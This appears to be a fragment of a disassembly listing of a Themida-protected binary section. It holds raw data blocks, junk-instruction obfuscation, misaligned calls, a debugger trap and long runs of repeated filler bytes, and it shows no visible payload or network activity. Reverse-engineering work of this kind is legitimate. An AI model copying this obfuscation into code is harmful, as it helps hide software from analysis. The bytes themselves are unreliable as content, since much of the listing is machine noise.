0E18053E9h, 66F95893h dd 0B67700B9h, 0C3F4BEBCh, 0CC8A36C2h, 0EE9h, 0E5D74400h dd 19B88E57h, 85671DBh, 8082984Dh, 11E9AFD5h, 0A2000000h dd 0D71EB048h, 0CD83E3CFh, 87022FA2h, 90B1D280h, 5D28166h dd 0D9B70F58h, 659BBA66h, 11E9h, 775DC300h, 5BA6A32Bh dd 0FC4A36F7h, 25DF5F57h, 0BF0F0D15h, 0F950F5C0h, 0C1B70F5Eh dd 6E9h, 1F2FB500h, 6682ED4Fh, 804E6ABAh, 6E84FC0h, 5000000h dd 0E538EC5Bh, 815FF912h, 0D5A36DE0h, 18A0F6Bh, 0F5000000h dd 3810Fh, 0DD800000h, 0B9666085h, 666132ABh, 0C8CCF681h dd 0E0C08166h, 0F2BF0F58h, 0BB66D98Bh, 0FD8A5E96h, 2C4188BEh dd 4B52B974h, 8B664303h, 6E9CAh, 485B0000h, 9829FE73h dd 0A8D0Fh, 8B0F0000h, 4, 254EB866h, 81F38B66h, 8AE66BD7h dd 0EABB665Fh, 0E7816692h, 810FBC57h, 9, 38B0Fh, 8B660000h dd 1ACA81D7h, 0B87401BCh, 31D252B5h, 13E9h, 90811400h dd 1E202082h, 4D0F8747h, 7C31D9C5h, 9C010A35h, 58B0Fh dd 81660000h, 0B8DEFFDAh, 0B0F382Fh, 0B65AF853h, 79E88139h dd 507FA510h, 98A7BE66h, 0CB8B6059h, 61D78B66h, 0EE27B966h dd 0ECBAF681h, 8C0F5359h, 15h, 0F8C0Fh, 0AE90000h, 16000000h dd 569831BDh, 0F2F7B751h, 0CE962h, 63D90000h, 0AE1C6177h dd 11DBF903h, 0CE8D0B9h, 42000000h, 0DDFAFD66h, 30F22DF9h dd 0E9249CB6h, 9, 17DA4B75h, 0E900EDF5h, 0BF0F5EACh, 0AABB66C6h dd 5E95234h, 2D000000h, 775196D3h, 41D7805Ah, 77DB8166h dd 0C0B70F10h, 2AD08060h, 491EC181h, 0F617251h, 0F8BFF6BFh dd 0F5DE4FCh, 38Dh, 4FC38000h, 0CE9h, 70779C00h, 0FE50452Ch dd 923F0868h, 1D890FDFh, 0E8000000h, 11h, 87E6AE29h, 927A4964h dd 0CC05380Ch, 0F2183FCEh, 880F0Dh, 5B000000h, 0AE9h, 94B09E00h dd 0C0A2848Dh, 0F03138Eh, 0C82h, 68C0F00h, 0F000000h, 8Bh dd 0FFE8B00h, 584h, 0BF0F5600h, 5E95ECFh, 0D4000000h, 3653EC24h dd 5E860h, 11F00000h, 668A4060h, 34A6E781h, 0BE666159h dd 0AE8314Eh, 1E000000h, 8F2BC3F2h, 7613135Eh, 58B0FA6h dd 0BB000000h, 59A5A349h, 0E8CCB759h, 10h, 546E8CF6h, 1CEEC6F8h dd 92DA1C8Dh, 8435BEACh, 0CE9h, 871D8200h, 0AAFD1665h dd 9AC863DCh, 0B8665E5Fh, 8B0F5EA7h, 19h, 14E9h, 0B286DC00h dd 38C9F333h, 828F9FD8h, 272C6AF5h, 0E8B7AC61h, 0FC30BB4Ah dd 0F857072Eh, 0FCF7815Bh, 8015E414h, 0BA66DDC8h, 0CF815830h dd 1476F7A1h, 0FE8h, 0A2E12300h, 0C7EF673Bh, 0EE70E98Ch dd 5FD8F8A6h, 5FC3BF0Fh, 0EE8h, 0DCFD6800h, 1B7C2F3Ch dd 8CB136FCh, 0E953A533h, 14h, 5AC6DC9Fh, 0B6AB06D5h, 0E8F95EB5h dd 0CAD46E0Ch, 0CD974BF0h, 0D1BF0F5Fh, 0F960FABFh, 0F7DC8038h dd 6060CA8Bh, 0CE9h, 0EF7F0C00h, 84F0BD4Fh, 9AF3EE67h dd 16B86688h, 8166610Bh, 61C27EE3h, 0AE9h, 0E9AEE200h dd 781020D2h, 0E9974620h, 12h, 0D050B724h, 879AE082h, 0D60C3028h dd 0E3AEBC0Ch, 0DE9BFD0h, 0F000000h, 0AFFC8294h, 9CA8316Dh dd 5DA64D56h, 0DE860h, 16210000h, 374D21D1h, 11F76C32h dd 8AA7DEDDh, 840F5EECh, 2, 0F861F0B0h, 0AE9h, 9DA01300h dd 790434BEh, 8B029FF5h, 46D380F7h, 8E8h, 0C9B7E300h, 69EA73F4h dd 0E85AF9E4h, 8, 94A4BB92h, 4955C601h, 0E8FA8B5Bh, 0Dh dd 5596AF9Fh, 0BF2E61D9h, 0CA07AA76h, 8E8A1h, 3D6D0000h dd 0E824A004h, 13E8A571h, 1F000000h, 0A39A3484h, 0C2D7DB87h dd 4AB7CED4h, 0C209B7A3h, 5B599A06h, 0C88B665Eh, 0CE8h dd 0CA0ED700h, 5A13D7F2h, 795A9210h, 20EF81F3h, 5841230Eh dd 0EE9h, 0CD5E6100h, 16C959CFh, 2FA86AE9h, 0F931748h dd 684h, 0A1E88100h, 8B1E0136h, 8146B5FBh, 88ACECF6h, 2EB802Dh dd 57D18B66h, 2930ADB8h, 9CBF5F1Bh, 0B827F046h, 5BCA3194h dd 0EE8h, 0F41DB100h, 5B7B5E67h, 99A0EF4Ah, 66C25CEDh dd 59FF69BFh, 481CBA66h, 4850Fh, 8A530000h, 0EB8059D8h dd 66C18B3Ch, 53C78ABEh, 0B4DE8166h, 0F565A71h, 138Dh dd 0EE900h, 26F10000h, 8FE2DC9Bh, 6C3446AFh, 4C006AB1h dd 0FFB70F5Ah, 0FDF8BF8h, 589h, 0F2816600h, 7E98554h, 67000000h dd 39F7A4ECh, 0AE9DD9Dh, 0A1000000h, 0FE73485Bh, 74DE9829h dd 60F08B9Fh, 13E8FCB4h, 66000000h, 3D4B26A1h, 0B39A6442h dd 0F7A934A9h, 7CB6D0A4h, 8A0F2F50h, 0 ; --------------------------------------------------------------------------- pop edi popa adc eax, 36F6B47Dh push eax push ebx pusha popa pop esi pop edx sbb bl, 0CAh mov cx, 2D3Ah sbb ah, 0A4h mov esi, ebx pusha call sub_5D1955 mov al, ds:9F94CA40h ; =============== S U B R O U T I N E ======================================= sub_5D1955 proc near ; CODE XREF: Themida_:005D194Bp stc pop edi sub eax, 45454403h popa mov edi, edx jmp loc_5D1974 ; --------------------------------------------------------------------------- align 2 dw 0BF95h dd 81B0D197h, 0CC169214h, 5F1D4AB1h ; --------------------------------------------------------------------------- loc_5D1974: ; CODE XREF: sub_5D1955+Bj mov edx, ebx jmp loc_5D1983 ; --------------------------------------------------------------------------- dec ebx dec eax inc ebx dec eax sub edx, [edx] and al, 52h loc_5D1983: ; CODE XREF: sub_5D1955+21j pusha jnz loc_5D1990 adc esi, 68713D13h loc_5D1990: ; CODE XREF: sub_5D1955+2Fj popa jp loc_5D199B mov ax, 611Eh loc_5D199B: ; CODE XREF: sub_5D1955+3Cj call near ptr loc_5D19AA+4 or eax, 7E68E4E6h bound ebx, [edx+69h] xor al, 0E9h loc_5D19AA: ; CODE XREF: sub_5D1955:loc_5D199Bp push 6629F84Dh sub_5D1955 endp ; sp-analysis failed mov esi, ebx pop eax mov edx, ecx jo loc_5D19C7 pusha sbb ax, 72CEh jns $+6 popa loc_5D19C7: ; CODE XREF: Themida_:005D19B4j jnb $+6 jmp loc_5D19E5 ; --------------------------------------------------------------------------- dw 0F61Bh dd 2EC3C74Ch, 0A0648069h, 961BAEC4h, 2536D869h db 0F6h ; --------------------------------------------------------------------------- loc_5D19E5: ; CODE XREF: Themida_:005D19CDj movzx ecx, ax sbb ax, 0FCE8h movsx ebx, ax mov di, si mov ax, 0A6A1h pusha mov eax, edx mov cl, 26h popa mov ah, 5Ah mov dx, bx clc or bh, 9Bh jo loc_5D1A0E mov dh, 4Eh loc_5D1A0E: ; CODE XREF: Themida_:005D1A06j mov edi, esi add ebx, 6FAC1E6Fh mov ax, cx jno loc_5D1A3C call sub_5D1A2B retn 5EC1h ; --------------------------------------------------------------------------- db 0ADh db 3, 0C6h, 0F7h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_5D1A2B proc near ; CODE XREF: Themida_:005D1A1Fp jmp near ptr sub_5D1A3B sub_5D1A2B endp ; --------------------------------------------------------------------------- dd 90F7E537h, 0E7B292F8h db 2Dh, 0A0h, 37h ; =============== S U B R O U T I N E ======================================= sub_5D1A3B proc far ; CODE XREF: sub_5D1A2Bj ; FUNCTION CHUNK AT 005D1AA0 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005D1AC5 SIZE 00000038 BYTES ; FUNCTION CHUNK AT 005D1B10 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005D1B2F SIZE 00000029 BYTES pop eax loc_5D1A3C: ; CODE XREF: Themida_:005D1A19j movsx edi, bx jns loc_5D1A46 cmc loc_5D1A46: ; CODE XREF: sub_5D1A3B+4j mov cx, di mov al, 28h sbb edi, 0CCD2A37h jmp loc_5D1A5F ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- db 18h ; --------------------------------------------------------------------------- scasb daa retn ; --------------------------------------------------------------------------- db 0CEh db 0E4h, 0D0h, 76h ; --------------------------------------------------------------------------- loc_5D1A5F: ; CODE XREF: sub_5D1A3B+16j pusha add edi, 7F738671h movzx ebx, dx popa push eax cmc pop edi mov di, 2804h or ax, 7C17h sbb dx, 2AA1h call near ptr loc_5D1A86+1 fneni jge short near ptr loc_5D1AF2+4 xor edi, eax loc_5D1A86: ; CODE XREF: sub_5D1A3B+40p db 2Eh jmp loc_5D1AA0 sub_5D1A3B endp ; sp-analysis failed ; --------------------------------------------------------------------------- dd 0B24BADD6h, 0FCA89146h, 6C524B0Dh, 0EA13A717h, 0E8E12989h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5D1A3B loc_5D1AA0: ; CODE XREF: sub_5D1A3B:loc_5D1A86j pop ecx cld mov si, dx jbe loc_5D1AB1 and eax, 40B28F82h loc_5D1AB1: ; CODE XREF: sub_5D1A3B+6Aj jmp loc_5D1AC5 ; END OF FUNCTION CHUNK FOR sub_5D1A3B ; --------------------------------------------------------------------------- dw 60Fh dd 87EB6E8Dh, 18F16353h, 8E456AE4h db 3Eh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5D1A3B loc_5D1AC5: ; CODE XREF: sub_5D1A3B:loc_5D1AB1j movsx esi, di mov edx, ebx mov ebx, 242B76Dh xor eax, 5D549F5Fh adc ax, 938Bh push ecx movsx eax, ax pop edx mov cl, 24h call near ptr loc_5D1AF2+2 sahf int 3 ; Trap to Debugger cmp esp, edx push dword ptr [esi-23D9D783h] lahf loc_5D1AF2: ; CODE XREF: sub_5D1A3B+A6p ; sub_5D1A3B+47j mov ds:5FC78B7Ah, eax clc jmp loc_5D1B10 ; END OF FUNCTION CHUNK FOR sub_5D1A3B ; --------------------------------------------------------------------------- db 37h, 2Dh, 0B0h dd 0F372370Dh, 705CDB7Eh, 0A8BF401Bh, 7F800A2Ah ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5D1A3B loc_5D1B10: ; CODE XREF: sub_5D1A3B+BDj jb loc_5D1B2F jmp loc_5D1B2F ; END OF FUNCTION CHUNK FOR sub_5D1A3B ; --------------------------------------------------------------------------- db 0DCh dd 19CDD826h, 859448E6h, 0A1962311h, 9A86F476h db 0ADh, 7, 87h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5D1A3B loc_5D1B2F: ; CODE XREF: sub_5D1A3B:loc_5D1B10j ; sub_5D1A3B+DBj sub di, 0C609h jnb loc_5D1B42 pusha push esi pop ecx mov si, 215Eh popa loc_5D1B42: ; CODE XREF: sub_5D1A3B+F9j mov dh, 51h pusha mov edx, 77891D57h push edx call near ptr sub_5D1B5E push edx push edx lea eax, [edx-1040A205h] ; END OF FUNCTION CHUNK FOR sub_5D1A3B ; --------------------------------------------------------------------------- dd 5885250Fh ; --------------------------------------------------------------------------- mov bl, 0E7h ; =============== S U B R O U T I N E ======================================= sub_5D1B5E proc far ; CODE XREF: sub_5D1A3B+110p pop ecx pop ebx popa clc sub ax, 97FCh mov ecx, esi mov eax, 46904748h add edx, 236768Dh mov si, 6994h mov ch, 97h or bl, 0A3h cld jmp loc_5D1B97 ; --------------------------------------------------------------------------- db 70h dd 2C7131B4h, 0F09600D4h, 0F29FA527h, 3F6E595Ah db 78h, 59h, 0FCh ; --------------------------------------------------------------------------- loc_5D1B97: ; CODE XREF: sub_5D1B5E+20j mov ebx, edx call sub_5D1BA5 ; CODE XREF: Themida_:005D1BFEj enter 0FFFFA083h, 0ADh in eax, 0B5h ; Interrupt Controller #2, 8259A retf sub_5D1B5E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5D1BA5 proc near ; CODE XREF: sub_5D1B5E+3Bp pop edi mov bh, cl add dl, 0CAh sub ch, 14h push ecx cld pop esi jmp loc_5D1BBB ; --------------------------------------------------------------------------- dw 6BE2h ; --------------------------------------------------------------------------- aad 6Dh das loc_5D1BBB: ; CODE XREF: sub_5D1BA5+Cj xor dl, 0FDh mov esi, ebx mov ax, 7C51h push esi mov cx, si pop edx sbb di, 7324h push ecx jp loc_5D1BDB adc ecx, 51752C93h loc_5D1BDB: ; CODE XREF: sub_5D1BA5+2Aj pop ecx push edx cmc pop eax jmp loc_5D1BEC ; --------------------------------------------------------------------------- dd 9C4AD622h, 1B1E0C78h ; --------------------------------------------------------------------------- loc_5D1BEC: ; CODE XREF: sub_5D1BA5+3Aj mov cl, 0BAh movzx edi, bx call near ptr loc_5D1BFB+1 lahf into dec eax dec esp icebp loc_5D1BFB: ; CODE XREF: sub_5D1BA5+4Cp shl dword ptr [esi-7Fh], cl sub_5D1BA5 endp ; sp-analysis failed loope near ptr loc_5D1B99+3 call far ptr 0:5E8515Eh add al, cl icebp ja short loc_5D1C3B inc ecx mov si, 0A26Dh pop edx pop eax cmc jmp loc_5D1C2B ; --------------------------------------------------------------------------- db 64h, 0EFh, 9Ah dd 0F334AB4Ch, 0DA9E1FF8h, 0A2E8DF6Ch db 3Ch, 35h, 0CAh ; --------------------------------------------------------------------------- loc_5D1C2B: ; CODE XREF: Themida_:005D1C14j mov bx, si pusha jmp loc_5D1C45 ; --------------------------------------------------------------------------- lodsb add byte ptr [ecx-5Dh], 0F4h fld qword ptr [ebx] loc_5D1C3B: ; CODE XREF: Themida_:005D1C0Aj db 36h mov byte ptr cs:[esp+ebp*8], 83h db 64h inc ebp fsub dword ptr [edx] loc_5D1C45: ; CODE XREF: Themida_:005D1C2Fj jb loc_5D1C51 adc eax, 7F8234B3h loc_5D1C51: ; CODE XREF: Themida_:loc_5D1C45j popa xor ax, 0F90h jmp loc_5D1C69 ; --------------------------------------------------------------------------- dd 0A84299AFh, 4551F4B7h, 1698F1E3h db 6Ah ; --------------------------------------------------------------------------- loc_5D1C69: ; CODE XREF: Themida_:005D1C57j movsx eax, di call sub_5D1C80 xor ah, [ecx] push 3E780E35h call far ptr 0A3EFh:0E31BA175h dec edx ; =============== S U B R O U T I N E ======================================= sub_5D1C80 proc near ; CODE XREF: Themida_:005D1C6Cp movzx edx, dx pop ebx or cl, 0D0h movzx ecx, bx movzx edi, si add ax, 0F370h call sub_5D1CAA inc esp bound ebx, [eax-25E2580Fh] sub [esi+edx*8], ebx pushf inc esp cmp [ebp-78DF0020h], cl dec esi sub_5D1C80 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5D1CAA proc near ; CODE XREF: sub_5D1C80+12p jo loc_5D1CC2 jmp loc_5D1CC2 ; --------------------------------------------------------------------------- db 60h, 0B1h, 0B6h dd 0FBB9EA63h, 545D8E22h db 21h, 7Ah ; --------------------------------------------------------------------------- loc_5D1CC2: ; CODE XREF: sub_5D1CAAj sub_5D1CAA+6j pop ebx ja loc_5D1CE2 call sub_5D1CDB in al, 0Ah ; DMA controller, 8237A-5. ; single mask bit register ; 0-1: select channel (00=0; 01=1; 10=2; 11=3) ; 2: 1=set mask for channel; 0=clear mask (enable) cmp bh, dh adc bl, [ecx] pop ebp add eax, 13C51Fh lahf sub_5D1CAA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5D1CDB proc near ; CODE XREF: sub_5D1CAA+1Fp adc ecx, 284A7133h pop ebx loc_5D1CE2: ; CODE XREF: sub_5D1CAA+19j xor bl, 8Ah cld jmp loc_5D1CF7 ; --------------------------------------------------------------------------- db 0F5h dd 0FBEA757Dh, 71A5F925h db 78h, 8Bh, 7 ; --------------------------------------------------------------------------- loc_5D1CF7: ; CODE XREF: sub_5D1CDB+Bj jno loc_5D1D00 mov dx, si loc_5D1D00: ; CODE XREF: sub_5D1CDB:loc_5D1CF7j and di, 8670h mov dx, di call sub_5D1D1B std retn sub_5D1CDB endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0DCh dd 1C16A20Ah, 55302755h db 93h, 0E6h, 0D2h ; =============== S U B R O U T I N E ======================================= sub_5D1D1B proc near ; CODE XREF: sub_5D1CDB+2Dp mov ebx, edi pop ecx mov cx, 0A930h loc_5D1D22: ; CODE XREF: sub_5D1D1B+Dj call near ptr loc_5D1D2F+4 push ds jl short loc_5D1D22 pop esi xchg bl, [ebp+ecx*8+75h] loc_5D1D2F: ; CODE XREF: sub_5D1D1B:loc_5D1D22p mov edx, 0BA4D290Dh sub_5D1D1B endp ; sp-analysis failed popa arpl sp, di push edi pop edi mov esi, 76E9AD04h movsx esi, bx sub ecx, 163B1679h push edx mov ebx, esi pop edi mov ch, 78h call sub_5D1D63 fcmovne st, st(2) cmp eax, 0DF45450Bh retf ; --------------------------------------------------------------------------- dw 0CDD5h dd 99A55154h db 78h, 63h, 4 ; =============== S U B R O U T I N E ======================================= sub_5D1D63 proc near ; CODE XREF: Themida_:005D1D4Dp pop ecx mov ah, bl jg $+6 mov dl, al jmp loc_5D1D79 ; --------------------------------------------------------------------------- db 25h dd 2E449A37h db 64h ; --------------------------------------------------------------------------- loc_5D1D79: ; CODE XREF: sub_5D1D63+Bj call near ptr loc_5D1D85+2 stosb cmp eax, 0B06FB12Bh pop edi loc_5D1D85: ; CODE XREF: sub_5D1D63:loc_5D1D79p db 3Eh mov bh, 0E9h sub_5D1D63 endp ; sp-analysis failed adc al, 0 ; --------------------------------------------------------------------------- dw 0 dd 0CAC64CC7h, 0BBBE3Ah, 5CFEDCB7h, 0EBD10045h, 7A079A60h dd 0D08B6059h, 0A108CE81h, 0E961667Fh, 0Fh, 5C0F3021h dd 29BDBEE4h, 0DD0CCD9Dh, 0BEAB3E6Bh, 1293328Bh, 0FE960h dd 136F0000h, 51711C12h, 5E8D7698h, 0E771BA81h, 5E9A2h dd 0F2A50000h, 61853B38h, 3840Fh, 0B70F0000h, 8BC68BD1h dd 7E9D9h, 0FD550000h, 9B502827h, 5BF55656h, 0FA8BC88Bh dd 0DBEABE66h, 12830Fh, 0DE90000h, 36000000h, 0FBEFAB85h dd 34551348h, 4C171B75h, 88BBC78Ah, 6676E9C0h, 8B66D38Bh dd 0DBD981F7h, 0B273E43Bh, 0EBCE8105h, 0BE0A6815h, 7E4166DFh dd 13E9h, 28220500h, 0AD0836C5h, 358B96BDh, 0F698D1CFh dd 4C45E053h, 96F68160h, 6635AD76h, 5061D78Bh, 5E8h, 675CC000h dd 870F6276h, 0 ; --------------------------------------------------------------------------- pop ebx pop edi mov dx, 5769h pusha jmp loc_5D1E8F ; --------------------------------------------------------------------------- dd 9BA886A2h, 0E5E5DD4Eh, 3F45E57Dh ; --------------------------------------------------------------------------- or edx, ebx std loc_5D1E8F: ; CODE XREF: Themida_:005D1E7Bj push esi mov esi, edi pop ebx popa jmp loc_5D1EAB ; --------------------------------------------------------------------------- db 24h, 47h, 7Dh dd 9FED1A9Fh, 43209B4Ah, 92795B20h ; --------------------------------------------------------------------------- dec ecx or dh, al loc_5D1EAB: ; CODE XREF: Themida_:005D1E94j mov bh, 0F2h jmp loc_5D1EC1 ; --------------------------------------------------------------------------- sal dword ptr ds:21DDF07h, cl sbb eax, 835DB707h db 67h daa mov dl, 2Ah loc_5D1EC1: ; CODE XREF: Themida_:005D1EADj stc adc al, 7Dh mov cx, si jmp loc_5D1EDD ; --------------------------------------------------------------------------- db 0B4h, 12h, 87h dd 4381B910h, 0D1431F53h, 21F38B24h ; --------------------------------------------------------------------------- pop edi loc_5D1EDD: ; CODE XREF: Themida_:005D1EC8j jmp loc_5D1EF2 ; --------------------------------------------------------------------------- dw 0A11Ah dd 0F3651212h, 618B3DBh, 80D4ACB0h db 0D9h, 0E6h ; --------------------------------------------------------------------------- loc_5D1EF2: ; CODE XREF: Themida_:loc_5D1EDDj mov ch, 29h pusha mov di, dx jge loc_5D1F00 pusha popa loc_5D1F00: ; CODE XREF: Themida_:005D1EF8j popa movzx esi, di call near ptr loc_5D1F12+2 scasb add eax, 0B2F7F7A2h pop edx cdq inc edi loc_5D1F12: ; CODE XREF: Themida_:005D1F04p fdiv dword ptr [ecx+ebp*8] add eax, 68000000h mov dl, ds:0B15E01BCh inc ebx js loc_5D1F2A adc cl, 22h loc_5D1F2A: ; CODE XREF: Themida_:005D1F21j stc mov ecx, esi pusha mov bh, al add ax, 0C1B7h popa call sub_5D1F4B popa cmp [eax+6774E65Dh], al fimul word ptr [ecx+2AEFF485h] inc edi sal eax, cl ; =============== S U B R O U T I N E ======================================= sub_5D1F4B proc near ; CODE XREF: Themida_:005D1F36p call near ptr loc_5D1F59+1 sbb esi, [edi] ror byte ptr ds:7A5F0C47h, 0C8h loc_5D1F59: ; CODE XREF: sub_5D1F4Bp mov ebp, ecx sub_5D1F4B endp ; sp-analysis failed adc eax, [eax] ; --------------------------------------------------------------------------- db 2 dup(0), 0D6h dd 93476ADEh, 838EB0D8h, 5579A4CEh, 9A7ED92h, 5F58D252h dd 8BF78B66h, 9E9D7h, 0B8B60000h, 0D1B11571h, 0F36D48Ah dd 48Ch, 0D9BA6600h, 7BD78059h, 10E8h, 7306ED00h, 9DEC2EFCh dd 0E97F3612h, 11FC6C31h, 0EE9D4h, 843B0000h, 7D810C0h dd 0B4D6C408h, 0AFF1100Fh, 13E85Fh, 8EFE0000h, 80D0BEA1h dd 0A4EBB585h, 2CE98044h, 1F2E012Ch, 0D6E681B4h, 5A27E26Fh dd 0AE9h, 0B305F900h, 0CBA0B182h, 0FBE5334h, 0B8Bh, 58A0F00h dd 66000000h, 60A0D681h, 0F10E380h, 6060F6B7h, 8C0Fh, 0BB660000h dd 0E8615549h, 6, 5C7778CDh, 61606C8Ch, 13BB615Eh, 604F600Bh dd 0EE9h, 1A88B400h, 0F55082E0h, 38F2A5B0h, 619E853Bh dd 0EE14BAFCh, 80534A88h, 0F5BAADEh, 0E780CEB7h, 6E87Ah dd 27110000h, 0FBEA64Ch, 6E958FCh, 0C6000000h, 0D5ED48A5h dd 0CAE2817Fh, 600E61ACh, 58F0FF8h, 66000000h, 3C49E981h dd 9AB96661h, 0EE84Fh, 0A05B0000h, 79DF8355h, 0F31EF40Eh dd 0E344A5CAh, 3FC2805Ah, 0E8DABF0Fh, 6, 0A87EEED8h, 0F60EAE3h dd 8Ah, 8A0F00h, 61000000h, 6E85Ah, 0E74D0000h, 3D36E0CEh dd 0A1DA805Bh, 18840Fh, 13E90000h, 7B000000h, 45CEF2EBh dd 0B323DC6Ah, 0AFCBA9C0h, 0DED20702h, 79B5418Eh, 0DE9h dd 3076C500h, 0CC0BBE0Ah, 0E20E3F14h, 0BE94D19h, 8D000000h dd 0FFB9F68Eh, 0F1FBA6C3h, 820FF920h, 6, 1880D381h, 8B662665h dd 0D38166C8h, 5E5187D5h, 0CA8B6651h, 138A0F5Eh, 0E8000000h dd 0Bh, 6AC2C5ECh, 227A79B3h, 52C40D17h, 8166595Ah, 515684C7h dd 0F859F78Bh, 118C0Fh, 0CE90000h, 54000000h, 53DF443h dd 2B8CC93Fh, 601BAD26h, 18E0Fh, 0F9FC0000h, 8AFDB961h dd 0CA8B4419h, 5E9FE8Bh, 0C8000000h, 67A03D31h, 18810Fh dd 13E90000h, 61000000h, 0EDBBA115h, 5B3C8876h, 0F54BFE85h dd 6C1A3CB9h, 0FF5221Fh, 0F57D3BFh, 0F8Ah, 9E800h, 3DBE0000h dd 0B2D52E17h, 5B38EAE0h, 59F5505Bh, 1A870Fh, 8D0F0000h dd 14h, 0FE9h, 12847D00h, 0D92D9677h, 0F19DC549h, 0A40B5632h dd 36h dup(7A92ABF9h), 0D96D54F9h, 70h dup(0D96D576Bh) dd 257h dup(2111F70Ch), 0BC11F70Ch, 1A8h dup(0BCEEEBA9h) dd 28D5EBA9h, 105h dup(28D5C00Bh) db 0Bh, 0C0h db 0D5h byte_5D3883 db 28h ; DATA XREF: Themida_:00556D01o ; Themida_:00556D08o db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 0Bh, 0C0h dw 28D5h db 